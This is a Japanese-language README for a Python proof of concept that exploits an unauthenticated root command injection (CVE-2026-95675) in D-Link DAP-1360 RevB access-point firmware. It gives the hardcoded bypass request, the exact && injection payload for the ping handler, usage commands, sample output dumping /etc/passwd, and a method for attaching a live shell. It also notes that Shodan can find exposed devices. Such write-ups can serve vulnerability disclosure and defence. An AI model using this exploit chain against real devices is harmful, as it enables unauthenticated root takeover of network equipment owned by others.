
Python PoCは、D-Link DAP-1360 RevBファームウェアにおける未認証のrootコマンドインジェクションであるCVE-2026-95675を、ハードコードされた認証バイパスとformSystemCheckハンドラーを介して悪用するものです。

formSystemCheck ハンドラにおける未認証のリモート root コマンド実行 (CWE-78 — OS コマンドインジェクション) で、ハードコードされた認証バックドア経由で到達可能。DAP-1360 RevB、ファームウェア 2.14B05 で検証済み。
連鎖する 2 つの独立した問題:
1. ハードコードされた認証バイパスパス。 main (httpd @ 0x4064c8) 内:
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn は 404 を返す (実在するファイルではない) が、副作用としてリクエスト元の送信元 IP のセッションスロットを認証済みとしてフラグを立てる — ユーザー名、パスワード、キャプチャは不要。
2. OS コマンドインジェクション。 formSystemCheck
(POST /apply.cgi?formSystemCheck) は以下のようにシェルコマンドを構築する:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping はサニタイズされずにフォーマット文字列へ渡される; _system() は vsprintf で固定スタックバッファへ書き込み、それを system() に渡す。このハンドラ自体は認証チェックを行わない。
busybox の POST ボディパーサーは ;、|、バッククォート、改行を除去するが、&& は残る。ペイロードはプレフィックスの ping を終端させ、その後 && で連結する必要がある。例:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| 引数 | 説明 |
|---|---|
target | ターゲットホスト/IP (デフォルトスキーム http://) |
command (オプション) | 実行する root コマンド (デフォルト: cat /etc/passwd); ;/` |
GET /dEfWzDLOgIn — ハードコードされた認証バイパスをトリガーする (404 を返す; 副作用はサーバー側で発生)。POST /apply.cgi?formSystemCheck に ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — root コマンドインジェクション。GET /<OUT> — コマンド出力を取得する (httpd は .htm/.html を配信し、.txt は配信しない)。[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc、wget、base64、chmod、id がない — cat、echo、ls、cp などを使用すること。_system() の戻りまでレスポンスを遅延させることと組み合わせると、sh <&5 >&5 2>&5 でライブ接続にシェルをアタッチできる (ユーザーモード QEMU では不安定; 実機ではより良好)。Shodan ("CAMEO-httpd"、httpd ベンダーバナー) は、この正確なコードベースのインターネット露出インスタンスを少数のみ示している; このデバイスは主に LAN 側のアクセスポイントである。悪用には Web 管理インターフェースへの到達性が必要である。